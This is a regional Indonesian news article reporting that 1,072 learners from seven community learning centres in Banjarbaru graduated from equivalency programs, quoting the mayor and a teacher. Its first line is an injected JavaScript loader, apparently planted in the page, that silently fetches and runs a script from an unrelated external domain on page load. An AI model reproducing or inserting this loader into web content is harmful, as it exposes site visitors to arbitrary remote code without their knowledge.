(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

7 PKBM di Banjarbaru Luluskan 1.072 Peserta Didik Program Paket, Ini Pesan Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Ribuan peserta didik program Pendidikan Kesetaraan (Paket) di Kota Banjarbaru resmi dikukuhkan bersama di aula Widyatama, Dinas Pendidikan Kota Banjarbaru, Senin (3/6/2024).

Pengukuhan sekaligus penyerahan ijazah dilakukan secara simbolis kepada seluruh peserta didik dari tujuh Pusat Kegiatan Belajar Masyarakat (PKBM) di Banjarbaru.

Kelompok Belajar (Kejar) ini terdiri dari program Paket A (setara SD) 155 orang, Paket B (setara SMP) sebanyak 395 orang, dan Paket C (setara SMA) 522 orang, dengan total 1.072 yang lulus dari 1.180 warga belajar yang telah mengikuti ujian program Paket.

Wali Kota Banjarbaru Aditya Mufti Ariffin menghadiri pengukuhan peserta didik program Paket ini berpesan agar peserta didik terus melanjutkan jenjang pendidikan, meraih cita-cita, serta mewujudkan harapan sekaligus menambah keahlian.

“Jadi tantangan itu banyak akan tetapi banyak cara juga untuk menyelesaikan tantangan-tantangan tersebut,” ujar Wali Kota Banjarbaru Aditya Mufti Ariffin berpesan.

Aditya menyampaikan, peran Dinas Pendidikan ditingkatkan dalam hal penyelenggaraan program Paket ini. Terlebih jika masih ada masyarakat ibu kota Kalimantan Selatan yang belum mendapatkan akses pendidikan.

“Kalau memang masih ada masyarakat kita yang belum bersekolah atau akses pendidikanan kurang, itu bisa lebih ditingkatkan dengan layanan pendidikan seperti melalui program Pendidikan Kesetaran atau Paket ini,” jelas dia.

Wali Kota Banjarbaru Aditya Mufti Ariffin menghadiri pengukuhan dan wisuda peserta didik program Paket. Foto: prokopim

Dengan penyelenggaraan program Paket ini, Wali Kota Aditya berharap dapat meningkatkan indeks pembangunan manusia di kota berjuluk Kota Idaman ini.

“Tidak hanya Paket saja namun kita juga ada program beasiswa, program magang di luar negeri dan program lainnya, tentunya itu semua untuk membantu masyarakat Banjarbaru,” sebutnya.

Salah satu PKBM di Banjarbaru yakni PKBM Amanah yang tergabung di tempat pelaksanaan pelatihan program Sadar Informasi dan Teknologi Informatika (Santika) Banjarbaru meluluskan 20 orang warga belajarnya.

Suprapti Ningsih, guru sekaligus penggagas sekolah non formal PKBM Amanah mengatakan, ada 20 peserta didik yang lulus melalui Santika Banjarbaru ini.

“Dari Santika Banjarbaru Alhamdulillah ada 20 peserta dari PKMB Amanah,” ujar Etty -panggilan akrab Suprapti Ningsih- secara terpisah kepada Kanalkalimantan.com.

Hingga di Mei tahun 2024, Etty mengakui, sudah ada 833 peserta didik yang lulus dari program Paket di PKBM Amanah Santika Banjarbafu. Sedangkan total peserta pelatihan hingga saat ini berjumlah 1.500 orang.

“Anak-anak lulus ada yang magang dulu dan ada juga yang langsung kerja bahkan melanjutkan kuliah,” ungkapnya.

Semua program Pendidikan Kesetaraan yang diterapkan oleh Santika semua gratis. Program pelatihan komputer yang perangkatnya didukung oleh Pemerintah Kota Banjarbaru, kini menjadi yang terfavorit sebagai pilihan. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie